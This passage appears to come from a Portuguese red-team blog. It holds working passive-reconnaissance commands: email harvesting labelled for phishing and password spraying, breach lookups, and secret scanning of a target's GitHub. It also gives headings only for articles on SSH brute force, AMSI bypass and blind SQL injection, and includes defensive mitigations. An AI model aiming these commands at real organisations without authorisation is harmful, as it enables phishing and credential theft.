    print(hit["ip"], hit.get("services"))
EOF

Fase 4 — theHarvester

Coleta emails, nomes, hosts e IPs de fontes públicas.

# Instalação
git clone https://github.com/laramies/theHarvester
cd theHarvester && pip3 install -r requirements/base.txt

# Coleta básica com múltiplas fontes
python3 theHarvester.py \
  -d target.com \
  -b google,bing,linkedin,hunter,anubis,crtsh \
  -l 500 \
  -f report_target

# Apenas emails (para phishing / password spraying)
python3 theHarvester.py \
  -d target.com \
  -b linkedin,hunter,google \
  -l 200 | grep -E "^[a-zA-Z0-9._%+-]+@"

Fase 5 — Reconhecimento de Pessoas

LinkedIn OSINT

Identificar funcionários, cargos e tecnologias usadas.

# Via Google Dorks
site:linkedin.com/in "Target Company" "Security Engineer"
site:linkedin.com/in "Target Company" "DevOps"
site:linkedin.com/in "Target Company" "Active Directory"

# Ferramentas
pip install linkedin2username
python3 linkedin2username.py -u YOUR_EMAIL -c "Target Company"

Email Format Discovery

# Hunter.io CLI
curl "https://api.hunter.io/v2/domain-search?domain=target.com&api_key=KEY" \
  | jq '.data.pattern'
# Exemplo de output: "{first}.{last}@target.com"

# Verificação de emails com h8mail
pip install h8mail
h8mail -t emails.txt --breach-src haveibeenpwned

Fase 6 — Análise de Código Público

Repositórios públicos frequentemente contêm credenciais, tokens e infraestrutura interna acidentalmente commitados.

# GitHub Dorks — busca direto no site
# org:target-company password
# org:target-company secret
# org:target-company api_key
# org:target-company internal

# Trufflehog — varredura de histórico git
pip install trufflehog
trufflehog github --org=target-company --only-verified

# GitLeaks — scan de repositórios
docker run -v $(pwd):/path zricethezav/gitleaks:latest \
  detect --source=/path --report-format json

# Greps específicos em repos clonados
git clone https://github.com/target/public-repo
cd public-repo
grep -rE "(password|passwd|secret|token|api_key|aws_access)" .
grep -rE "(https?://[^/]+:[^@]+@)" .  # URLs com credenciais

Fase 7 — Análise de Tecnologia Web

# WhatWeb — fingerprinting passivo via histórico/cache
whatweb -a 1 https://target.com  # stealth mode

# BuiltWith API
curl "https://api.builtwith.com/v21/api.json?KEY=YOUR_KEY&LOOKUP=target.com" \
  | jq '.Results[].Result.Paths[].Technologies[].Name'

# Wappalyzer CLI
npm install -g wappalyzer
wappalyzer https://target.com

# Wayback Machine — versões antigas do site
curl "http://web.archive.org/cdx/search/cdx?url=*.target.com/*&output=text&fl=original&collapse=urlkey" \
  | sort -u | head -100

Consolidando a Inteligência

Organize tudo em uma estrutura antes de partir para o reconhecimento ativo:

target-intel/
├── domains/
│   ├── subdomains.txt       # todos os subdomains descobertos
│   ├── dns_records.txt      # registros MX, TXT, NS
│   └── whois.txt
├── ips/
│   ├── ip_ranges.txt        # CIDRs do alvo
│   └── shodan_results.json
├── people/
│   ├── employees.txt        # nomes e cargos
│   ├── emails.txt           # emails coletados
│   └── email_format.txt     # padrão do formato
├── tech/
│   ├── stack.txt            # tecnologias identificadas
│   └── certificates.txt     # certs SSL encontrados
├── credentials/
│   └── leaked_creds.txt     # vazamentos em breaches
└── code/
    └── github_findings.txt  # achados em repos públicos

#!/bin/bash
# passive_recon.sh — Pipeline completo de recon passivo
DOMAIN="${1:?Usage: $0 <domain>}"
OUTPUT="./intel/${DOMAIN}"
mkdir -p "${OUTPUT}"/{domains,ips,people,tech}

echo "[*] Starting passive recon for: ${DOMAIN}"

# Subdomains
echo "[+] Enumerating subdomains..."
subfinder -d "${DOMAIN}" -all -silent > "${OUTPUT}/domains/subfinder.txt"
amass enum -passive -d "${DOMAIN}" >> "${OUTPUT}/domains/amass.txt"
cat "${OUTPUT}/domains/subfinder.txt" "${OUTPUT}/domains/amass.txt" \
  | sort -u > "${OUTPUT}/domains/all_subdomains.txt"
echo "    $(wc -l < "${OUTPUT}/domains/all_subdomains.txt") unique subdomains"

# DNS
echo "[+] Pulling DNS records..."
dig "${DOMAIN}" ANY +short > "${OUTPUT}/domains/dns.txt"
curl -s "https://crt.sh/?q=%.${DOMAIN}&output=json" \
  | jq -r '.[].name_value' | sort -u >> "${OUTPUT}/domains/all_subdomains.txt"

# Emails
echo "[+] Harvesting emails..."
python3 theHarvester.py -d "${DOMAIN}" -b google,hunter -l 200 \
  | grep -E "@${DOMAIN}" | sort -u > "${OUTPUT}/people/emails.txt"

echo "[✓] Recon complete. Output: ${OUTPUT}"

Mitigações (Blue Team)

Vetor	Mitigação
Google Dorks	Google Search Console — remover URLs sensíveis do índice
WHOIS	Usar privacidade de domínio (WHOIS Privacy)
Certificate Transparency	Inevitável — use subdomains genéricos
Shodan	Firewalls com regras de não-scan; `X-Robots-Tag: noindex`
GitHub leaks	Pre-commit hooks + secret scanning ativo
LinkedIn OSINT	Limitar informações de tecnologia em perfis públicos

Nota legal: Estas técnicas devem ser utilizadas exclusivamente em engajamentos autorizados ou para fins educacionais. O uso não autorizado é ilegal.

r3d/ops — Blog Red Team KBM Security

Death Note 1 — Complete VulnHub Walkthrough

1. Introduction

2. Reconnaissance

2.1 Host Discovery

2.2 Port and Service Scan

3. Web Enumeration

3.1 Initial Access

3.2 Directory Enumeration with DirBuster

3.3 Analysis of robots.txt

3.4 Reading important.jpg via curl

4. Exploitation

4.1 SSH Brute Force with Hydra

5. Initial Access

5.1 SSH login as user l

6. Post-Exploitation / Escalation

6.1 Discovery of the /opt/L Directory

6.2 Reading case-file.txt

6.3 Hex + Base64 decoding of case.wav

6.4 Log in as kira and decode kira.txt

6.5 Discovering the Misa file in /var

7. Flags / Root

7.1 Capturing root.txt

8. Conclusion

Death Note 1 — VulnHub Walkthrough Completo

1. Introdução

2. Reconhecimento

2.1 Descoberta de Host

2.2 Scan de Portas e Serviços

3. Enumeração Web

3.1 Acesso Inicial

3.2 Enumeração de Diretórios com DirBuster

3.3 Análise do robots.txt

3.4 Leitura do important.jpg via curl

4. Exploração

4.1 Brute-Force SSH com Hydra

5. Acesso Inicial

5.1 Login SSH como usuário l

6. Pós-Exploração / Escalada

6.1 Descoberta do Diretório /opt/L

6.2 Leitura do case-file.txt

6.3 Decodificação Hex + Base64 do case.wav

6.4 Login como kira e decodificação do kira.txt

6.5 Descoberta do arquivo Misa em /var

7. Flags / Root

7.1 Captura do root.txt

8. Conclusão

AMSI Bypass — Desabilitando o Antimalware Scan Interface no PowerShell

O que é AMSI?

Técnica 1 — Patch de AmsiScanBuffer via Reflection

Técnica 2 — Forçar Erro via AmsiInitFailed

Técnica 3 — Patch com Marshal.WriteInt32

Técnica 4 — Downgrade para PowerShell 2.0

Técnica 5 — Obfuscação de Strings (Evasão de Assinaturas)

Técnica 6 — Carregamento via WebRequest (In-Memory)

Detecção e Contornos de EDR

Script Completo: AMSI + ETW Bypass

Detecção pelo Lado do Defensor

Mitigações

Referências

AMSI Bypass — Disabling the Antimalware Scan Interface in PowerShell

What is AMSI?

Technique 1 — AmsiScanBuffer Patch via Reflection

Technique 2 — Force Error via AmsiInitFailed

Technique 3 — Patch with Marshal.WriteInt32

Technique 4 — Downgrade to PowerShell 2.0

Technique 5 — String Obfuscation (Signature Evasion)

Technique 6 — Loading via WebRequest (In-Memory)

EDR Detection and Workarounds

Complete Script: AMSI + ETW Bypass

Detection by the Defender Side

Mitigations

References

Blind SQL Injection — Extraindo dados sem ver o output

O que é Blind SQL Injection?

Identificando a vulnerabilidade

Teste básico de injeção

Teste time-based

Boolean-Based Exploitation (Manual)

Identificando o banco de dados

5.1 SSH login as user `l`

5.1 Login SSH como usuário `l`